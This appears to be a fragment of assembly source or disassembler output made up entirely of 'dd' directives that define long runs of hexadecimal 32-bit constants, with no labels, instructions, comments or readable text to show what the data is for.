dd 0C9F0ADA6h, 4F306040h, 0E2DFBD8h, 516E983Fh, 0A0B75301h
dd 0FD3032B5h, 0C0DBEC2Ah, 5208E5C0h, 0F6EE1D88h, 5AF501D6h
dd 2646AD68h, 17B617DBh, 905AD98Ch, 0B1E3275Ch, 509474Eh
dd 5EEA7FF9h, 0E3F2CB7h, 0FA1202BCh, 0C15A29F7h, 6A5B8A2Dh
dd 44C465B8h, 4CD4E242h, 735B10BBh, 6003292Ch, 6A5D22B5h
dd 0CD055800h, 0E961DB3Dh, 0A075BAF9h, 974CC006h, 0ED1316C5h
dd 0D666F4BDh, 4B72E62h, 7EB896E6h, 6F28016h, 358A1D29h
dd 0A2ADEB5Ah, 5A2FA84Fh, 8930AFA9h, 955DE9D2h, 89C3E3CBh
dd 71213F4h, 3E0ADE3Ah, 58C16F2Eh, 3E42D657h, 8062BB5h
dd 5914811Ch, 417E42A7h, 0AB92992h, 9099E985h, 30ACB47Ah
dd 20A8CC5Ch, 0DAF62806h, 80EE0EF6h, 0EF667CE7h, 0F92F06B4h
dd 7287D530h, 5DEAF227h, 0F57F0B55h, 0C479B546h, 7A3D5F81h
dd 31837285h, 67DF94h, 0B16E8BDh, 448107F8h, 0D29D6D46h
dd 82E9126Eh, 53B6FAF6h, 71D92B7Bh, 616806FAh, 20251D1Eh
dd 1109C87Dh, 7C8880A4h, 0D8C244Ah, 0D8E8410Bh, 4E4BDE68h
dd 64E6AF30h, 0E95A0872h, 51163098h, 0BA529E70h, 336D17A0h
dd 0CFFF0817h, 46EC5C17h, 0F7DA8706h, 681808D3h, 0ED9B440Ch
dd 205F8189h, 40500E2Fh
dd 859DE054h, 0D0A25E2Ch, 2020626h, 528D698Bh, 18BD8081h
dd 39730DEh, 89BEA04Dh, 343EFD34h, 8197D9EBh, 74ACE517h
dd 0F5D839F3h, 0F421134Eh, 0EDC1FB0Fh, 1833AF84h, 0C3C7B45Eh
dd 0B003D102h, 4866E97Ch, 97C60118h, 0F569F6FEh, 852FCCA3h
dd 0E6354400h, 68298440h, 0ED3F4F6Ch, 66118190h, 5AD93AC4h
dd 0E401B86Bh, 848DE2FEh, 0B8BA871Bh, 5988C4FAh, 0C41E9910h
dd 0EBA39395h, 913E2CBh, 2DFACDEh, 0EF70ED18h, 478BFC29h
dd 957885E9h, 1604FB9Eh, 530FA794h, 0EDB706C5h, 461925EAh
dd 5AA1B0A7h, 0F9144965h, 5A16CED8h, 3CFDF021h, 0F3E8BC89h
dd 0D1957955h, 0BFA4C9F1h, 8C65AB68h, 0AC105B1Fh, 6C26631h
dd 0F5CDE8C4h, 43B1FEB5h, 0BA849B44h, 0E9E0FAE9h, 7FE11CAAh
dd 2681E7A2h, 70156C54h, 0B9813B62h, 0E550C932h, 0B826A048h
dd 0D55E2DE6h, 0D8A7BF73h, 12D62099h, 56D83117h, 6E8656FDh
dd 0B117B46Bh, 12BB281Dh, 1CF2AF35h, 67F68080h, 7E4E40E9h
dd 0B7853EF8h, 71CA21DAh, 2EBF00A3h, 7E292F52h, 580139D0h
dd 0E90C8710h, 0C3DCF8Ch, 1CAA0B26h, 0C0E18040h, 4969AA22h
dd 0F6004690h, 2920D321h, 0BEF5E9D9h, 0B252013Bh, 60D43093h
dd 0FFAA84F7h, 25833DE0h, 5D67E112h, 1807A310h, 51505E5Ah
dd 392C1238h, 208AEB29h, 4B806809h, 0DB889051h, 0D9BB01F2h
dd 6A6B6561h, 2F37F6E0h, 41D04F0Ah, 71246771h, 2902C719h
dd 5F391726h, 0D90955DCh, 0D175A7CCh, 874CDE2Eh, 43596D9Fh
dd 0A2542D60h, 89CBE9B5h, 0A7D357E7h, 0D4B5D322h, 1AE978EFh
dd 5CBD7070h, 0D7F76096h, 3B4CBD55h, 2C382C59h, 0E84E7F10h
dd 50E7B2E3h, 4B309052h, 4BA8E005h, 0D8A0DAC1h, 0BD2EF713h
dd 0ADAAC5FBh, 7BFDF6EAh, 3AA62327h, 0BFC100BEh, 0C236FB1Bh
dd 8725E963h, 0D69D0444h, 60F53DC3h, 59EE3F80h, 0D0177D01h
dd 4964F329h, 2F9DF3EAh, 5CE009DAh, 5746E238h, 0C957515Dh
dd 255EC5D5h, 0B252C575h, 103DF92h, 0D732A2CAh, 62DD8789h
dd 0E69BC10Fh, 654D07CEh, 0C7D4AA15h, 0EE098CECh, 0E3854629h
dd 4F93BDA6h, 0A886B0ACh, 0EF75EFFBh, 89892250h, 0F65FF82Dh
dd 18DF2F7Ch, 9F68ABBEh, 0A3096766h, 369B187h, 0A262B9FEh
dd 0E5E7D832h, 0B3E90840h, 49492B5h, 8D6F9DBAh, 0D66C234h
dd 72920851h, 5ABEE240h, 25E266Fh, 41DCE681h, 5044696Dh
dd 0D16BA025h, 10D7AF74h, 0BE2E8ECEh, 85CA6D4h, 0A220CCC5h
dd 0F383AA71h, 58C7FAD6h, 0EC50671Eh, 0A0554551h, 7D03054Eh
dd 0F7472834h, 0E4045BDFh, 640CC704h, 0C356C6Dh, 620A12C8h
dd 7307BBA2h, 0D7091B65h, 5726B445h, 4D8C6D02h, 0E92CC095h
dd 1BF94BDh, 1E5FAA25h, 97CCE801h, 2EB8596h, 0FDB85903h
dd 0B48EF853h, 2DFE1786h, 5682026Dh, 0FDB4EB0Eh, 0A9908683h
dd 5AEE4525h, 5CE9335h, 0BE393BE9h, 5AE00728h, 561CCA6h
dd 46418A06h, 4F580128h, 8102F4B8h, 5148ED02h, 0DC2165E5h
dd 817F5AADh, 26B56830h, 35C56F2Ch, 0D67CB93Fh, 5878B304h
dd 4C3B107h, 0ECB282CBh, 53C97D0Dh, 7B575D02h, 1FF22584h
dd 237CD836h, 985F5F57h, 0EA800CD2h, 58B29F7Bh, 0E98933F9h
dd 903658FFh, 14534C91h, 0DD10FD04h, 7168018h, 0E74A22EFh
dd 0AD3388EFh, 0D144A75Ah, 4AA466F8h, 0E1F4B734h, 6917B05Ch
dd 0F37738F4h, 5A7FBFF8h, 3A47CFBBh, 31EADE35h, 2B52D7DBh
dd 7110E041h, 5C600B22h, 0EB45C08Ah, 0F41FA85Ah, 3E00FAB0h
dd 835D7B4Bh, 3501E8h, 202B5B58h, 0E050AE05h, 0E529F628h
dd 2802BE4Eh, 480B9368h, 0C0C4E817h, 0A12ABA54h, 292D7901h
dd 844A45F2h, 0B9AD54E9h, 0B7D212D4h, 18AF9B3h, 2AA709FCh
dd 0D5E90F7Eh, 29908E72h, 0CC57080Bh, 9403853Fh, 85CDAB41h
dd 40F62635h, 25B5E44Eh, 7D79C510h, 72EEBFB9h, 2749B10Fh
dd 685B873Ah, 27A52606h, 5FF47A5Ch, 0C0537178h, 0D4DC769h
dd 872D5238h, 175384EFh, 711B3A87h, 0D0094401h, 59A7253Bh
dd 1089A658h, 0BF789299h, 90027309h, 36413AAAh, 51F07B4Eh
dd 0E9CF1609h, 0A2CDEEDEh, 0D710AE69h, 595B1D4Fh, 0FF6533DAh
dd 12D75E5h, 79C26832h, 0DE103576h, 285909B3h, 0A6C584E3h
dd 2B5A5807h, 0E10825Dh, 0B65B049Eh, 95FE14BCh, 486381C5h
dd 228075D5h, 39D2139Ch, 0F35E9AE9h, 90D0D2D1h, 0D2DFD03Ch
dd 0BBA8C5CAh, 8AFC212Dh, 93E39478h, 9817BB9Bh, 0AC5E3ECCh
dd 0DFD09DCDh, 72E97CB5h, 7B88575Eh, 7CD02753h, 0ECE3C32h
dd 15A89042h, 357B160h, 6BBB23C7h, 1D53D206h, 240C7EABh
dd 164EF047h, 0C080BB31h, 0B70829C4h, 0F5C17000h, 6FF355AEh
dd 3A34818Eh, 1BC7EB83h, 372F183h, 32A2BE1Ah, 9DD27BDDh
dd 2EFEB5CAh, 0A3E68252h, 202E5A4Eh, 0F095496Bh, 93595FB7h
dd 75F2FA45h, 283B9AD0h, 9C9193C8h, 0FC425AFh, 0C141587Fh
dd 0A5F789F4h, 0AC0C5C34h, 0C95CAF31h, 0A6ECE985h, 0D68FC8Ch
dd 1002D9F3h, 59BD2F9Fh, 0EF5E6013h, 7F27F531h, 2240F602h
dd 6082D4BEh, 2E4F858Ah, 5A7A0AFDh, 0BD6294CAh, 93BDE363h
dd 5EB2EFE9h, 6815104Eh, 70AA78F1h, 18997F4Bh, 7A8B053Eh
dd 0E8DDAB2Eh, 2057A92Ah, 5CB80785h, 0A6154B67h, 7EB772EBh
dd 26E9D02Ch, 9232054Ah, 0FFC48657h, 0C009517Bh, 95CCF321h
dd 0C28B4883h, 1A508705h, 6194AB71h, 22440817h, 0A3B46186h
dd 7D6E16BEh, 0E684AE6Ch, 0C559080Bh, 5C5D8D7Fh, 0F3456011h
dd 0CFB6604Eh, 8C00D559h, 0E90E780Ah, 0EE959403h, 0C9801C69h
dd 28C1C138h, 11612268h, 0B70176EDh, 7AF83CC6h, 0CD12745Eh
dd 4FF704A0h, 0D5A446Bh, 8B5DAF67h, 4A966F04h, 0A0CA380h
dd 10513C5h, 1F428AD0h, 0DC40E335h, 319D0525h, 9149500Bh
dd 5B6D04AEh, 0E1A4E913h, 0B8F07E4Ch, 2B2F13BBh, 42910021h
dd 0E933CF2Ah, 1C121127h, 5189B772h, 7F342BFFh, 0F72F52EDh
dd 8EC12CBAh, 0D7590242h, 0AF64FFAh, 14FC5C4Ah, 6C81B1h
dd 17AA3B1Eh, 8553E927h, 0E081121Fh, 3025D10Ch, 0E32DCF5h
dd 0C567D8E5h, 0A2ED60B2h, 8D99EA28h, 72BD840Bh, 64A417FAh
dd 0A400BA76h, 6FD02A79h, 3AFA9745h, 30636E06h, 5D365667h
dd 770CB19h, 0CD8058E5h, 1CF531EBh, 0D1C83F30h, 6175410Ch
dd 29C5DD5Eh, 65FE2E8Fh, 220F243h, 251DBF22h, 0C8773663h
dd 3B0449BDh, 0CF056FDCh, 1F06672Ch, 8FD1C0B9h, 0C1E91F3Fh
dd 67BF755Eh, 0A86CB545h, 9190784Dh, 745992F0h, 0C509123Ch
dd 0FE85D616h, 0DF16C3ECh, 0F1654379h, 85AD6F7h, 771C9BA6h
dd 0E94E8F7Ah, 3B3B6F4Dh, 0EF2B31B1h, 54084E65h, 9F82062h
dd 0F59D8B5h, 2E65EDC0h, 0C61AC69Dh, 0A0D3022h, 0C31EB1Eh
dd 1BB7299Eh, 2568118Fh, 32D10CBAh, 0D028C55Dh, 0F895C12Bh
dd 2034BA70h, 87A0396Bh, 2A71439Eh, 4EE4248h, 158D4BC2h
dd 238A2EFh, 976DD3Eh, 2955E189h, 5363413Bh, 72D481E9h
dd 84F772Fh, 0CEBB8317h, 500510D0h, 53D00178h, 0E7804FB7h
dd 0DDF47B15h, 0A0B8308h, 56B55107h, 28EE0F0Dh, 651BE962h
dd 4968F9DFh, 4B3EF953h, 0FB2F1BF5h, 0DA6F3C39h, 0CD7F1603h
dd 52242CFEh, 6B3AEF90h, 0BA68814Eh, 97ADB199h, 13BEAC3Ah
dd 0BF81821h, 43B5B7B4h, 0D8E90948h, 6F98F51Eh, 0C7C068BCh
dd 0D3255DE8h, 73E21333h, 6C02EF40h, 72F929E9h, 60620890h
dd 519D0E80h, 92B2C11Dh, 2D0AF458h, 4D3D19D3h, 78EF4B95h
dd 544BAD03h, 0E16152C8h
dd 0F411BC2Fh, 56A98C03h, 0F5688802h, 0E349BD5Ah, 73F7C224h
dd 0BB5AE489h, 27E9BAE4h, 0A168A5D2h, 6D240A84h, 93B6E0Eh
dd 57685B49h, 348647Ah, 0E69A0401h, 9B821EDEh, 0FF6646Dh
dd 17C10C0Eh, 0AA7F0265h, 6C8990F5h, 2D790542h, 6BB47E2Dh
dd 5015173h, 1F8D0E33h, 6C70E12Ah, 3064C3BFh, 0C1EFD553h
dd 3AF2EFBEh, 0C13F738Ah, 0C3D0BC82h, 14E4CB89h, 48E95712h
dd 398007A0h, 0C39E44EBh, 97D6CA78h, 3A570060h, 0D8F747C1h
dd 26BD5500h, 0E98B9EDCh, 150B9F14h, 328C0956h, 90EB7DA7h
dd 0EE053E07h, 1C1023CCh, 4D406729h, 811363C0h, 460309CDh
dd 0E3803CFDh, 169B7C77h, 95FAE918h, 14AC249h, 5344915Eh
dd 517B7D68h, 826711CDh, 6F87C623h, 90B7C0C1h, 0FB35804Eh
dd 287A4C78h, 47C2CA4Bh, 0C1F1425Ch, 0D2BB42Ch, 734263AFh
dd 40CD585h, 738D25F9h, 74F469FFh, 0A49FE0C6h, 7882C6D2h
dd 0FE4968F2h, 5C739F18h, 490990A0h, 5F4A9E7Eh, 8827078h
dd 59E23762h, 864DA3F5h, 68102751h, 4D948770h, 0DA1B56A7h
dd 278DBC5Fh, 8D19762Ch, 3F176E9Dh, 0E9132A8Fh, 7BF7B1C2h
dd 0EB5EE08Eh, 1352CB08h, 0DFE6FD01h, 71589B89h, 0EC5545EFh
dd 66F1D24Eh, 0FC132520h, 18C1BD54h, 33F6301h, 0A368C80Fh
dd 8097253Fh, 0F6B91860h, 6D8D7E0Fh, 56C66649h, 18BD0588h
dd 0C019DF79h, 0A72FF50Ch, 140B3F5Ch, 1384E5C1h, 0E1B85425h
dd 0CB39E3E7h, 58C1CF12h, 0CAA86E16h, 83FDD889h, 0C1535597h
dd 7A61D7F7h, 0C0679AD0h, 0A164C70Ah, 6967D9E9h, 194744h
dd 0E8372FEEh, 4A49FA15h, 96E7B318h, 0B300A48Dh, 0B324CC6h
dd 87E92DB7h, 12B50958h, 0A0D758F1h, 1D31A92Eh, 4457DDBh
dd 0E07EE9FDh, 6DF6BE5Bh, 7C4B974Ch, 80A1DEB5h, 2BC042F3h
dd 0DF25684Fh, 7D3E64Eh, 3627CD01h, 8990DB31h, 0F4BF59D0h
dd 0B1514272h, 0B11AB784h, 6DA82A2Dh, 0F959CE16h, 69E9E0DCh
dd 0E1FFC044h, 0CA14D9Eh, 807DF1ECh, 50DFDAF5h, 21F845A4h
dd 0BEC3920h, 0DF3825EDh, 57617002h, 561F8008h, 81217B01h
dd 47D8C2E5h, 0B22EC036h, 45380D46h, 0F740A8B0h, 0C8EF5001h
dd 162A035Dh, 58BE5673h, 2A706CB1h, 4072C9A0h, 0C858B5F5h
dd 0D0A325FAh, 0CBFE3F1Ah, 0BE4D8D93h, 2BEE0D31h, 44C7892Eh
dd 0B1B1BE7Ch, 44F6A02Bh, 2DEE684Fh, 85F52F7Bh, 0BD22FE8h
dd 8DE6E977h, 0D2DD4C5Dh, 0A930AA07h, 81104AE9h, 0DE854157h
dd 0E8AA0475h, 6C0042Bh, 8BC20830h, 5F54EA34h, 0ADB6001Ch
dd 280BE5EAh, 0C7D254BBh, 4EBC38D3h, 0CE040A99h, 0F65F5BE8h
dd 666013B4h, 81981935h, 38850B68h, 4757507Ch, 0FFF125BBh
dd 0D9F362h, 912534BAh, 0DA292117h, 641660E7h, 0E455FC7Ah
dd 13AE90AAh, 742F3061h, 43DE9A5Bh, 81EAD5h, 0EE01D3BBh
dd 0C8F7063Ah, 3A00752Eh, 0EB096D2Ch, 95EC84E9h, 0D05DF892h
dd 0B5D8976Ch, 812D38B5h, 15D80AE3h, 2CC2730h, 0B12DD1Bh
dd 8BA009FDh, 0C9DCF416h, 69A9B880h, 0C1030B3Ah, 0BF5705E8h
dd 70A3A011h, 0C0894AE9h, 4B40B868h, 7727EB2Fh, 0DDEFA380h
dd 460A95Ch, 4F5FEEB2h, 0ADD29F6Ah, 0B22DF68h, 17C7283Bh
dd 3B15AFD3h, 2DE85FA6h, 6231C816h, 0CFE776Fh, 0F5966803h
dd 9ACBB4EEh, 1E880500h, 0E8293726h, 1B4FB8C7h, 0E7CF024Bh
dd 0F8FF4208h, 0B8C0927h, 0BBFE3EA5h, 0E3209E20h, 372D0006h
dd 4867FD74h, 0AF09B035h, 0F8898C71h, 20915F0Ch, 5975A7DDh
dd 0E4682F09h, 60A0D638h, 0FBFA76F4h, 704B49B0h, 0F1067AF2h
dd 50C6860Dh, 0F83178C1h, 0B97E67E9h, 4A4F1DB5h, 77095B93h
dd 119590D9h, 22F5286Fh, 0DF3507A1h, 0BF2DBBD5h, 1395180h
dd 7A205F8h, 8BCBC055h, 0F23FC0D7h, 63F32B38h, 0A596AAF6h
dd 5BFD8800h, 7CED8058h, 8B86EFFh, 0EB285AA5h, 0FE77CDB0h
dd 0C2E85EC5h, 6054A446h, 928BDA39h, 3E2D6607h, 94054127h
dd 5F6AAD6Ch, 8F688038h, 8D32344Fh, 7D7B77DCh, 802C42A5h
dd 8D633E55h, 5B6C900Dh, 0F5A6B8F4h, 4EA2A6AEh, 4B08F0C8h
dd 0C7872861h, 6F60DBB0h, 407FF351h, 4867608Ch, 0FEF6D822h
dd 5B73B0B0h, 0D2D04Ch, 382C02D7h, 9F4D5EE9h, 572DFE5Bh
dd 0F955911Ah, 45754BC5h, 322A0A1Fh, 65FD8B89h, 4D60ABD4h
dd 987DD572h, 1A4169D9h, 2595A2DFh, 0C4AED44Fh, 0E1FCAE2Eh
dd 2AF198CBh, 4660A8A8h, 0EE685A33h, 0C117AB2Eh, 5DC20769h
dd 0B4E0EB51h, 26DCF69Fh, 3CC9B252h, 0BED000CEh, 738F7BE1h
dd 9F7BD09Fh, 857E534Ah, 4E359E5h, 56042D48h, 91BCBDE9h
dd 543078E3h, 2CDD0048h, 0BB1E7116h, 4079C626h, 62B83112h
dd 0F57CEA5Eh, 182362C8h, 58FD5859h, 537BE507h, 0BF3C019Ch
dd 7027C023h, 619A4C18h, 9DFEBD05h, 0B1C53191h, 0C03784EAh
dd 0D653E5C5h, 1FE90B09h, 40A410D5h, 0F6F490F7h, 177760B9h
dd 0AD59C5EFh, 5C014425h, 13E7CA8Dh, 0FCC88902h, 655D7321h
dd 75F060E7h, 4E19BF68h, 6D68F04Dh, 0DB0E6612h, 40398FB4h
dd 0AA9C887Dh, 28287408h, 8DBA0983h, 6AF5C33Ah, 0BE786164h
dd 1BBD6800h, 36B5EEA6h, 45595EA8h, 14F8E05h, 35692975h
dd 97E2D873h, 7ADA3418h, 5242818h, 5E93B8Fh, 9B22BB38h
dd 4AAE7021h, 991A81EDh, 73C504D4h, 78324283h, 2FF18A09h
dd 1D5008h, 2A18CFBDh, 0CD038119h, 6D97C44h, 129A24D1h
dd 0E380BB2Fh, 0EECB8143h, 106AD373h, 0CD34CB12h, 0EE46C4EAh
dd 27C0CA9h, 0E9D6E22Fh, 0BBEAE5D8h, 41C027DDh, 856603F2h
dd 6E828ED3h, 0C562FF56h, 3A16EAC1h, 5CB05692h, 0F7910906h
dd 2D8907A0h, 0BD9C6AEAh, 17F39030h, 0CF4912B2h, 0D852EB05h
dd 4C0C2116h, 975B3EB9h, 51D2E941h, 75158D0h, 5A673EA2h
dd 0A8AD0FC8h, 8777FEB5h, 78E11BA5h, 7E913A2Ah, 2C2E5FFDh
dd 7464992Ah, 0F8BB8F5Bh, 520DC92Fh, 0ADC902B9h, 494E3670h
dd 0A714C37Dh, 1AA9E1B0h, 8B7650D5h, 82B6138Ch, 19AC55Ah
dd 0EC48D452h, 2B047E10h, 6FEC2153h, 0A0B5B9D7h, 0B14081E9h
dd 0B52A9E0h, 0A1D42B30h, 8850E751h, 79FE62B1h, 0BDA4EC1h
dd 85D55AAFh, 0E7EA32DEh, 662E7BA0h, 5B42AD0Ch, 0CD7C755Eh
dd 0A0C8BEC3h, 0F13FB268h, 4A4B8A48h, 0D4CBEC46h, 2C4B9F90h
dd 0B17F9EAh, 655403ACh, 96653661h, 1A4C26Eh, 89BA5220h
dd 25C1057Fh, 8C73ACE9h, 6C32680Bh, 0FCB1AB62h, 8766174Ah
dd 0ED884B5Fh, 0BA11A507h, 0C8913A02h, 5DC2796Fh, 0E870B5DEh
dd 73349445h, 2BFECBF1h, 0B046E045h, 60B8B6EBh, 3D69B2B6h
dd 48E97751h, 0EB93421Eh, 7BA4C484h, 334D543Fh, 0EA628283h
dd 85354F7Dh, 9821C668h, 4F9EFE4Fh, 4089471Fh, 8DC5F17Dh
dd 2E66C6B9h, 60476AA4h, 45BEC15Ah, 4F4C9E4Bh, 674002E2h
dd 0E2572FA6h, 954258D8h, 8439DB54h, 86E4EDFh, 8411DB9h
dd 1DEAF240h, 0D10B0137h, 9BE947E7h, 90A37EB7h, 58D7A589h
dd 0C80A89E5h, 57BD0F7Fh, 0FA249E60h, 94C05F4Dh, 21BC12EFh
dd 1C3AB6D6h, 665E7240h, 0DE9866E6h, 0DB9D9AB8h, 0F4562F09h
dd 0D78BCC09h, 0F8A4631Bh, 7CF71756h, 5B351783h, 0E951A00Dh
dd 0F7DDAF2Fh, 0E918503Eh, 0E2873D86h, 0AE06D002h, 0AE6DBF13h
dd 0CB60086Dh, 5FDBB5A9h, 0B1955194h, 5802906Fh, 0A5A1DC75h
dd 7D691EF4h, 0FBFC2A2Fh, 57B5C998h, 7D163CF6h, 8CAD1155h
dd 94A43004h, 7B10B883h, 6E9DD09h, 48875432h, 11EF0CF9h
dd 859F5E12h, 0CCBF2E57h
dd 0CC09880Ah, 441C1468h, 0F8E6F431h, 0F85A4EF3h, 49E9E8E9h
dd 0FD5E3F31h, 5EDB0419h, 0D2847970h, 92C1F2FEh, 2E68E5B4h
dd 0C2E7095Ah, 96A257D6h, 0FBF74C73h, 440142CEh, 0F6EA8800h
dd 0A960E9D2h, 2E500C0h, 0E9C9F580h, 54BDD105h, 0FF55C461h
dd 0B3920DB7h, 0A768C3B7h, 809F2F2Bh, 0E3D858EBh, 6BFFB840h
dd 2F974C00h, 5F72E52h, 0E9D987D1h, 4FB7B814h, 365104A3h
dd 2D27067Ch, 0F5A591D6h, 7FC0C3EAh, 3F25147Ch, 0D1EAD707h
dd 7948015Fh, 1F2ACC12h, 727D9C0Bh, 5963C1BBh, 98D5F7C9h
dd 88465208h, 58EE0B7Dh, 91F7C289h, 51DD80D5h, 4EE8D3F9h
dd 2EEBA98h, 306012FEh, 5677C721h, 16FFA73Dh, 959AD585h
dd 2583E03Ah, 6C5F39B6h, 50F518E9h, 5859CBCCh, 3E5C2C58h
dd 0A8849F64h, 0D45B257Fh, 165D6BB9h, 2E75959Ah, 9F0879h
dd 579BE381h, 20B8560Bh, 0B3274C01h, 6FBAE91Eh, 7C04B7Bh
dd 0D22DF0D3h, 4CBC0914h, 2F583CF8h, 7518E57Eh, 0B30C5208h
dd 0B0604F46h, 471633A6h, 0B01E41D5h, 252CE6AFh, 2CF9665Ah
dd 0EBBF159Bh, 20A8E4Ch, 7144A7B9h, 825F0948h, 0C010736Bh
dd 132E0563h, 0B11A5ADBh, 12116C43h, 0A3EA4C64h, 1B58E8h
dd 54BB743Bh, 2E2F3032h, 10D7C331h, 0F7810209h, 75EF6BFAh
dd 16F1326Bh, 78376365h, 0EA96B42Dh, 7FD87725h, 5AB57290h
dd 8D74BDEAh, 8300574Ah, 0E9152544h, 0E98E546Ah, 0E8025BEEh
dd 4BAA100Eh, 1E061465h, 0BC3A04DBh, 7042C032h, 0B608407h
dd 0E8785C0Ch, 223B072h, 3995AFA5h, 705EF029h, 904094A0h
dd 413D259h, 12A66FCCh, 0F56B21E5h, 214B2E43h, 976D788Ch
dd 6708DCC5h, 4BEF20DDh, 4846B8AEh, 76B820F4h, 0EB935F53h
dd 0B4ECDD31h, 0E7F40104h, 20394E26h, 100CB200h, 0E4D4983h
dd 385013D3h, 0BA0B0933h, 0F41C4F84h, 0D80C7C8h, 1C1DF65Bh
dd 2534D9E9h, 0D1D2BA57h, 90B6B003h, 5B515374h, 842A0FDh
dd 27DC59B5h, 0A84FED55h, 0C597A40Eh, 0C03CBD50h, 89DFE993h
dd 530017D3h, 51496843h, 72595C5Eh, 0F0015FB0h, 128DCCB7h
dd 0A3228E68h, 4A27004Ch, 0CE811032h, 6D9CA102h, 87DEEA47h
dd 0C6821C1Fh, 0E0665767h, 172A5359h, 7A70C731h, 0C6634EEh
dd 0FE2936A9h, 5626CCC6h, 19097532h, 93ECF171h, 15EC2128h
dd 10560741h, 602D050Bh, 0C1E038A8h, 7F7923BEh, 0D1BD3889h
dd 2CC93A98h, 0A973EC80h, 283C13B8h, 0CBC13AE1h, 59A655B0h
dd 680BBFA5h, 0CBE60116h, 0C409F390h, 8E3DB439h, 0E25E09ACh
dd 24795D0Dh, 0A40C342h, 2493789h, 0FAD5F731h, 0F6BA2D7Ch
dd 53EE0AFEh, 0A28F93AAh, 0BCE0435Bh, 0D21C180Eh, 7C3D0C17h
dd 7E790F25h, 0D008A03Ch, 5802140Ch, 28E95251h, 7940E7FEh
dd 0BD53FA5Bh, 0DFD41741h, 742DABA5h, 18DE47Bh, 0A90CC89Fh
dd 6C222734h, 8A033F4h, 8B57E91Ah, 0EA80DD60h, 18060B0Fh
dd 0C7285595h, 655E0CC8h, 87275DCBh, 2F0ADB0Ch, 80F54BBAh
dd 997701DDh, 0D0C8BD1Fh, 0E6974758h, 8F1355BFh, 0E49BD76Ah
dd 6F0D00EBh, 4C75D517h, 6072A340h, 8A2D08D8h, 881908C0h
dd 6194C601h, 5F173C2Eh, 0EB2D0690h, 2823480Bh, 0D193D6Ch
dd 2CF21D90h, 133CDF91h, 59E3F89Ah, 95E5538Bh, 5B1AE906h
dd 744600A9h, 0B50579C8h, 0A4B41408h, 99061C2Dh, 91E5AD57h
dd 20525A89h, 25344A50h, 92A0990Bh, 0EA8653E7h, 1F273420h
dd 0FC295B11h, 7D4D1205h, 0E940A38Eh, 0F8A85FE9h, 9568C099h
dd 7E4B5E67h, 13B64B5Dh, 9A01F017h, 60FF584Fh, 7A8A0D9Ah
dd 0A767058h, 0E63E7B80h, 0F57DC90Bh, 0DAC9F14h, 30D03139h
dd 1FE908C2h, 38DD95E7h, 0B254501Dh, 57E78117h, 0BB048139h
dd 0AB853386h, 7ED9704Bh, 80D54886h, 2D40CA81h, 86905E45h
dd 0C5381819h, 67250348h, 0E1FEC642h, 9DAA2C2h, 8701B805h
dd 49119126h, 0E2C520E4h, 56594704h, 810EB29h, 342D664Ch
dd 0B5F072E4h, 52BB9C5Bh, 859A163Eh, 3A1C2D52h, 0C7E7CABCh
dd 0D0BFD5E9h, 9763F8C5h, 0BD2F137Ah, 3D54C6E4h, 0F69807EFh
dd 0FCCDEDF1h, 4E285218h, 167A0354h, 4A895632h, 0AC9D759h
dd 0A422ED7Bh, 7D2F3D2Ch, 2A05F441h, 702D18E4h, 7F462785h
dd 782DE58h, 0C0D13440h, 5E928491h, 0C280A6EFh, 7655BEE9h
dd 2032851Fh, 0ED0DC0D8h, 0FE27730Ch, 0E9ECE08Dh, 0B7A4BA80h
dd 57501768h, 5879BF1Ch, 0CF814F80h, 65EE709Ah, 0AE03FA62h
dd 26BD32F0h, 15F1C11h, 0EE1959C7h, 4A273857h, 552CFFE8h
dd 3C910537h, 36EB1410h, 0E558271Ch, 2E27B5D0h, 0D9D23BCDh
dd 0C050E37Ch, 5BF9214Eh, 30CEF401h, 5A80E195h, 6669EA2Ah
dd 1ACEA134h, 502BD238h, 66037556h, 0A55F5BBDh, 9678FA8h
dd 0DDF7C305h, 52E300FDh, 0C5ACE93Eh, 17310BFh, 9DC90EEh
dd 2B414E74h, 6255CE89h, 5E8557E9h, 2ECE90Ah, 66981AC7h
dd 94D3D758h, 44B7C025h, 42796031h, 0AE20C01h, 0D1CDCDAh
dd 14021C08h, 0E1D15158h, 2F8BB1E9h, 2DD930AAh, 88257610h
dd 221FD027h, 86CF8194h, 0E0F19668h, 0CA3E7425h, 85E9090Eh
dd 2FEA7147h, 0E94109D9h, 0F92FCFA9h, 565C1624h, 6068DA8Ch
dd 96B91ED8h, 60E5292Ch, 702A158h, 46E90CBEh, 0AE907D0Fh
dd 5D626E68h, 0BA77159h, 0DB3976F6h, 0E9D39FC3h, 0EA396114h
dd 0D6751771h, 5180FA50h, 0B2C9FF1h, 0CD294E9Dh, 15EEF8B8h
dd 0A893052Ch, 62F84F3Bh, 0E8C45F8Eh, 0F1248864h, 0DC1A3C28h
dd 217CDF80h, 2968CC0Eh, 2CFF65CFh, 7593CBD8h, 5E20601Ah
dd 0B767F917h, 6ECC36C1h, 58707B10h, 0EEAFC7D2h, 584192D7h
dd 5332A07Dh, 9470F468h, 0BFAC20C8h, 4B004F50h, 6658070Dh
dd 3B390503h, 3502D02Fh, 0A1E4EB3Fh, 0F2276764h, 253D4687h
dd 0B25DBBC0h, 0D866D533h, 0FAB95100h, 8164D43Ah, 2CC818C9h
dd 2EC1E869h, 0D81E3212h, 0ECB204EFh, 0B9DDBEAEh, 0AD5F0629h
dd 2FC04BA8h, 0E573456Ah, 0AADC60FEh, 9EC6B54Ah, 4012C74Fh
dd 0F6BE5052h, 0D84B92F8h, 0B81503Fh, 0C127F6BDh, 0F2EDBC03h
dd 0EFE90D0Ah, 0BA81DA2Fh, 5C8C13CBh, 1D685961h, 4CA9FB1h
dd 0D40BFDAFh, 44852F16h, 62AEF005h, 595410B2h, 25AA6C75h
dd 57998CA6h, 3A856A8Ah, 80DEF2FFh, 70ED6857h, 2B2C487Bh
dd 174E6B10h, 0BFFCE6C0h, 0F0281A09h, 0EF0BFE82h, 8F542966h
dd 3B4B6380h, 8C659444h, 8DD23CADh, 0B6AF4269h, 0A70B2EDAh
dd 0F7258C48h, 0EC5B240h, 3679F424h, 0F613A025h, 3ECAAE77h
dd 5E17291Eh, 307B385Bh, 822F44B0h, 517A114Dh, 9606F3E4h
dd 11876230h, 23E130FFh, 667D82E8h, 437225FAh, 0D55B2899h
dd 0ECE374CBh, 955F5240h, 0CC0ACB56h, 5316F9F4h, 106D1DC0h
dd 0A1444AA6h, 5B070073h, 0C49F6C01h, 0E0E91238h, 827D35DDh
dd 590276F8h, 52615687h, 801F45Dh, 0F425CDEBh, 842D1DC1h
dd 0BC21892Fh, 0D1430903h, 4A8883E3h, 700B9B02h, 0A50E1D9Ah
